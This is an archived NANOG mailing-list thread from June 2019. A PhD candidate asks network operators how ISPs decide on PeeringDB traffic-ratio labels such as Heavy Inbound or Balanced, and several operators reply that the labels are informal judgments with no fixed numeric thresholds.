Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 2:14 PM, William Herrin wrote: > > On Wed, Jun 19, 2019 at 9:50 AM Prasun Dey > wrote: > > I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. > > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > > I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. > > Hi Prasun, > > Ratio only masquerades as a technical term. It's whatever it takes to convince the other guy to set up settlement-free peering and you'll tweak your routing adjusting reality to match. The information in peeringdb is just a rough guide to help you figure out who to talk to as you try to adjust your traffic profile so that you can go after the big fish as "balanced." > > Regards, > Bill Herrin > > > -- > William Herrin > bill at herrin.us > https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Wed Jun 19 20:42:38 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 16:42:38 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: Josh, That’s great. I’m assuming your traffic is mainly inbound. So, my question is, do you have a threshold that defines your traffic ratio type. I’m taking an example from this thread. Say, your average incoming traffic is ~45 gbps, and outgoing traffic is ~4.5 gbps. So, your outbound:inbound = 1:10. What are you? Heavy Inbound? Extending this example, if your ratio is 1:7 or 1:6, then, what would you claim to be? A ‘Mostly Inbound’? Or still call yourself as Heavy Inbound? I’m just trying to understand what is the community practice? Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 4:23 PM, Josh Luthman wrote: > > >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) > > Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey > wrote: > Hi Martijn and Josh, > Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. > According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. > So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. > Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. > Thank you. > > - > Prasun > > Regards, > Prasun Kanti Dey > Ph.D. Candidate, > Dept of Electrical and Computer Engineering, > University of Central Florida > web: https://prasunkantidey.github.io/portfolio/ > > > > > >> On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt > wrote: >> >> It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. >> >> Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). >> >> Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. >> >> Best regards, >> Martijn >> >> On 19 June 2019 19:54:45 CEST, Josh Luthman > wrote: >> If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. >> >> I'm not sure you're going to get any better answer without a more specific question. >> >> Josh Luthman >> Office: 937-552-2340 >> Direct: 937-552-2343 >> 1100 Wayne St >> Suite 1337 >> Troy, OH 45373 >> >> >> On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: >> Hello, >> Good morning. >> I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. >> I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. >> I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. >> I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for >> 1. Heavy Inbound: >> 2. Mostly Inbound: >> 3. Mostly Outbound: >> 4. Heavy Outbound: >> >> Thank you. >> - >> Prasun >> -- >> Sincerely, >> Prasun Kanti Dey, >> Ph.D. candidate, >> Dept. of Electrical and Computer Engineering, >> University of Central Florida. >> >> -- >> Sent from my Android device with K-9 Mail. Please excuse my brevity. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From Brian.Knopps at charter.com Wed Jun 19 20:57:42 2019 From: Brian.Knopps at charter.com (Knopps, Brian) Date: Wed, 19 Jun 2019 20:57:42 +0000 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: [cid:image001.png at 01D526B7.B99D6BB0] From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Josh Luthman Sent: Wednesday, June 19, 2019 3:24 PM To: Prasun Dey Cc: nanog at nanog.org Subject: Re: Traffic ratio of an ISP >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey > wrote: Hi Martijn and Josh, Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt > wrote: It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. Best regards, Martijn On 19 June 2019 19:54:45 CEST, Josh Luthman > wrote: If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. I'm not sure you're going to get any better answer without a more specific question. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: Hello, Good morning. I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for 1. Heavy Inbound: 2. Mostly Inbound: 3. Mostly Outbound: 4. Heavy Outbound: Thank you. - Prasun -- Sincerely, Prasun Kanti Dey, Ph.D. candidate, Dept. of Electrical and Computer Engineering, University of Central Florida. -- Sent from my Android device with K-9 Mail. Please excuse my brevity. E-MAIL CONFIDENTIALITY NOTICE: The contents of this e-mail message and any attachments are intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the intended recipient of this message or if this message has been addressed to you in error, please immediately alert the sender by reply e-mail and then delete this message and any attachments. If you are not the intended recipient, you are notified that any use, dissemination, distribution, copying, or storage of this message or any attachment is strictly prohibited. -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Wed Jun 19 20:58:15 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 16:58:15 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <001101d526cb$7786d7c0$66948740$@gvtc.com> References: <001101d526cb$7786d7c0$66948740$@gvtc.com> Message-ID: Thank you Aaron, This is great. This gives an interesting insight regarding CDN as they seem to play a big role here. However, in general, what do you call your ISP as? A 'Heavy Inbound' or 'Mostly Inbound'? Is there any community standard about this ratio (having 1:10 or higher) to be treated as Heavy Inbound? Or this is just a rough estimation? Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 2:18 PM, Aaron Gould wrote: > > I run an eyeballs/isp network for about ~50,000 subscribers, and I see about 1:10 ratio at peak time. Last night ~4.5 gbps out, ~45 gbps in. But, I do have local caching of 4 big name cdn cache providers, so that might alter the 1:10 ratio I see on my actual inet links (which do not include the local cdn traffic) > > …take Netflix for instance… I see on my local nfx cdn links, 1:100 ratio of in:out. 20 gbps inbound and .2 gbps outbound (during that same timeframe as aforementioned actual inet links) > > Numbers based on 21:00 CDT last night. > > > -Aaron -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Wed Jun 19 21:07:46 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 17:07:46 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: <7946A875-0E33-4E25-A5ED-1E009079A8F7@nevada.unr.edu> Seems you just have updated today. Thanks for letting us know. Last time, I checked was yesterday and based on that I mentioned your traffic ratio being ‘Balanced’. Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 4:57 PM, Knopps, Brian wrote: > > > > From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Josh Luthman > Sent: Wednesday, June 19, 2019 3:24 PM > To: Prasun Dey > Cc: nanog at nanog.org > Subject: Re: Traffic ratio of an ISP > > >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) > > Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey > wrote: > Hi Martijn and Josh, > Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. > According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. > So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. > Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. > Thank you. > > - > Prasun > > Regards, > Prasun Kanti Dey > Ph.D. Candidate, > Dept of Electrical and Computer Engineering, > University of Central Florida > web: https://prasunkantidey.github.io/portfolio/ > > > > > > > > On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt > wrote: > > It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. > > Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). > > Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. > > Best regards, > Martijn > > On 19 June 2019 19:54:45 CEST, Josh Luthman > wrote: > If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. > > I'm not sure you're going to get any better answer without a more specific question. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: > Hello, > Good morning. > I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. > I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer Engineering, > University of Central Florida. > > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. > > The contents of this e-mail message and > any attachments are intended solely for the > addressee(s) and may contain confidential > and/or legally privileged information. If you > are not the intended recipient of this message > or if this message has been addressed to you > in error, please immediately alert the sender > by reply e-mail and then delete this message > and any attachments. If you are not the > intended recipient, you are notified that > any use, dissemination, distribution, copying, > or storage of this message or any attachment > is strictly prohibited. -------------- next part -------------- An HTML attachment was scrubbed... URL: From Anthony.Steller at charter.com Wed Jun 19 21:30:45 2019 From: Anthony.Steller at charter.com (Steller, Anthony J) Date: Wed, 19 Jun 2019 21:30:45 +0000 Subject: Traffic ratio of an ISP In-Reply-To: <7946A875-0E33-4E25-A5ED-1E009079A8F7@nevada.unr.edu> References: <7946A875-0E33-4E25-A5ED-1E009079A8F7@nevada.unr.edu> Message-ID: Hi Prasun, It was updated because ‘Balanced’ wasn’t accurate, we didn’t notice that’s what it said until you pointed it out, because it really don’t matter in the whole scheme of things. In regards to: >> So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. As a residential ISP, we are an eyeball network, we connect to the people using the content on the internet (of course with commercial customers also who host content, but mainly residential). Because of the nature of the users on our network, we are considered Heavy Inbound since most traffic will be going from content providers to users on our network. It’s really as simple as that, we do no calculation to figure out our traffic ratio and update according to some arbitrary ratio number, because none of that matters. That field in PeeringDB is used as additional information for someone who may look at the ASN and try to determine what to expect in general if connecting to them. TL;DR - There are no hard numbers to give you, it just depends how someone feels that day of the week when setting it. Hope this helps. From: Prasun Dey [mailto:prasun at nevada.unr.edu] Sent: Wednesday, June 19, 2019 4:08 PM To: Knopps, Brian; Peering Cc: Josh Luthman; nanog at nanog.org Subject: Re: Traffic ratio of an ISP Seems you just have updated today. Thanks for letting us know. Last time, I checked was yesterday and based on that I mentioned your traffic ratio being ‘Balanced’. Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ On Jun 19, 2019, at 4:57 PM, Knopps, Brian > wrote: From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Josh Luthman Sent: Wednesday, June 19, 2019 3:24 PM To: Prasun Dey Cc: nanog at nanog.org Subject: Re: Traffic ratio of an ISP >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey > wrote: Hi Martijn and Josh, Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt > wrote: It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. Best regards, Martijn On 19 June 2019 19:54:45 CEST, Josh Luthman > wrote: If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. I'm not sure you're going to get any better answer without a more specific question. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: Hello, Good morning. I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for 1. Heavy Inbound: 2. Mostly Inbound: 3. Mostly Outbound: 4. Heavy Outbound: Thank you. - Prasun -- Sincerely, Prasun Kanti Dey, Ph.D. candidate, Dept. of Electrical and Computer Engineering, University of Central Florida. -- Sent from my Android device with K-9 Mail. Please excuse my brevity. The contents of this e-mail message and any attachments are intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the intended recipient of this message or if this message has been addressed to you in error, please immediately alert the sender by reply e-mail and then delete this message and any attachments. If you are not the intended recipient, you are notified that any use, dissemination, distribution, copying, or storage of this message or any attachment is strictly prohibited. E-MAIL CONFIDENTIALITY NOTICE: The contents of this e-mail message and any attachments are intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the intended recipient of this message or if this message has been addressed to you in error, please immediately alert the sender by reply e-mail and then delete this message and any attachments. If you are not the intended recipient, you are notified that any use, dissemination, distribution, copying, or storage of this message or any attachment is strictly prohibited. -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Wed Jun 19 21:33:09 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 17:33:09 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <1843867403.2393.1560979121496.JavaMail.mhammett@ThunderFuck> References: <1843867403.2393.1560979121496.JavaMail.mhammett@ThunderFuck> Message-ID: <2C685DF1-C709-412F-967E-E8D54AE00926@nevada.unr.edu> Thank you, Mike. From an outsider, I don’t have any information of an ISP’s traffic numbers. And this may be confidential unless we are using any measurement platform, which CAIDA is doing. To get a rough idea about any ISP’s traffic outbound:inbound ratio I can only see it's PeeringDB label. But, the question is whether there is any community decided values against these labels? Like, 1:2 = Balanced 1:5 = Mostly Inbound 1:10 = Heavy Inbound 10:1 = Heavy Outbound I just came up with these values. They don’t mean anything. I don’t have any solid evidence or source to support them. So, my question is, what people actually use? Or, it totally depends on the ISPs and they vary. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 5:18 PM, Mike Hammett wrote: > > Yes, you seem to misunderstand (at least of what I understand). PeeringDB has categories of ratios to choose from. What has the community decided is acceptable ratios for each category? It's fairly trivial for any network to determine what their ratio is as a number, but not necessarily as a PeeringDB label. > > > > ----- > Mike Hammett > Intelligent Computing Solutions > > Midwest Internet Exchange > > The Brothers WISP > > From: "Josh Luthman" > To: "Prasun Dey" > Cc: nanog at nanog.org > Sent: Wednesday, June 19, 2019 3:23:33 PM > Subject: Re: Traffic ratio of an ISP > > >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) > > Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey > wrote: > Hi Martijn and Josh, > Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. > According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. > So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. > Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. > Thank you. > > - > Prasun > > Regards, > Prasun Kanti Dey > Ph.D. Candidate, > Dept of Electrical and Computer Engineering, > University of Central Florida > web: https://prasunkantidey.github.io/portfolio/ > > > > > > On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt > wrote: > > It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. > > Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). > > Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. > > Best regards, > Martijn > > On 19 June 2019 19:54:45 CEST, Josh Luthman > wrote: > If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. > > I'm not sure you're going to get any better answer without a more specific question. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: > Hello, > Good morning. > I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. > I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer Engineering, > University of Central Florida. > > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Wed Jun 19 21:39:31 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 17:39:31 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <003c01d526e5$b2e7a730$18b6f590$@gvtc.com> References: <001101d526cb$7786d7c0$66948740$@gvtc.com> <003c01d526e5$b2e7a730$18b6f590$@gvtc.com> Message-ID: <80CEE573-44E8-478D-9499-CBC7D7ACF7AA@nevada.unr.edu> Thank you Aaron for confirming that. This is helpful. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 5:26 PM, Aaron Gould wrote: > > I’m heavy inbound. Which I think is characteristic of a stub-AS with lots of resi/busi bb ... no transit… just a lot of people looking at stuff. > > Inbound is of course from the perspective of traffic coming into my AS > > -Aaron -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Wed Jun 19 21:48:19 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 17:48:19 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: <7946A875-0E33-4E25-A5ED-1E009079A8F7@nevada.unr.edu> Message-ID: <1D4F9B5B-41A5-404C-81E2-3AB0BE2AE987@nevada.unr.edu> Thank you Steller, Your response is extremely helpful. I really appreciate your detailed explanation. While I was looking for these numbers, I couldn’t find any. I thought, as an outsider, these numbers may not be accessible for me. And, as I don’t own an AS, so, I can’t be a member of PeeringDB! Instead I thought, why don’t I ask for your help directly to get a proper guidance. And, this discussion certainly helped me. Thank you again. On a separate note, I’m happy that my mail drew your attention to update in the PeeringDB. Don’t know if it matters at all! - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 5:30 PM, Steller, Anthony J wrote: > > Hi Prasun, > > It was updated because ‘Balanced’ wasn’t accurate, we didn’t notice that’s what it said until you pointed it out, because it really don’t matter in the whole scheme of things. In regards to: > > >> So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. > > As a residential ISP, we are an eyeball network, we connect to the people using the content on the internet (of course with commercial customers also who host content, but mainly residential). Because of the nature of the users on our network, we are considered Heavy Inbound since most traffic will be going from content providers to users on our network. It’s really as simple as that, we do no calculation to figure out our traffic ratio and update according to some arbitrary ratio number, because none of that matters. That field in PeeringDB is used as additional information for someone who may look at the ASN and try to determine what to expect in general if connecting to them. > > TL;DR - There are no hard numbers to give you, it just depends how someone feels that day of the week when setting it. > > Hope this helps. > > > From: Prasun Dey [mailto:prasun at nevada.unr.edu] > Sent: Wednesday, June 19, 2019 4:08 PM > To: Knopps, Brian; Peering > Cc: Josh Luthman; nanog at nanog.org > Subject: Re: Traffic ratio of an ISP > > Seems you just have updated today. Thanks for letting us know. > Last time, I checked was yesterday and based on that I mentioned your traffic ratio being ‘Balanced’. > > Regards, > Prasun Kanti Dey > Ph.D. Candidate, > Dept of Electrical and Computer Engineering, > University of Central Florida > web: https://prasunkantidey.github.io/portfolio/ > > > > > > > > On Jun 19, 2019, at 4:57 PM, Knopps, Brian > wrote: > > > > From: NANOG [mailto:nanog-bounces at nanog.org ] On Behalf Of Josh Luthman > Sent: Wednesday, June 19, 2019 3:24 PM > To: Prasun Dey > Cc: nanog at nanog.org > Subject: Re: Traffic ratio of an ISP > > >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) > > Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey > wrote: > Hi Martijn and Josh, > Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. > According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. > So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. > Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. > Thank you. > > - > Prasun > > Regards, > Prasun Kanti Dey > Ph.D. Candidate, > Dept of Electrical and Computer Engineering, > University of Central Florida > web: https://prasunkantidey.github.io/portfolio/ > > 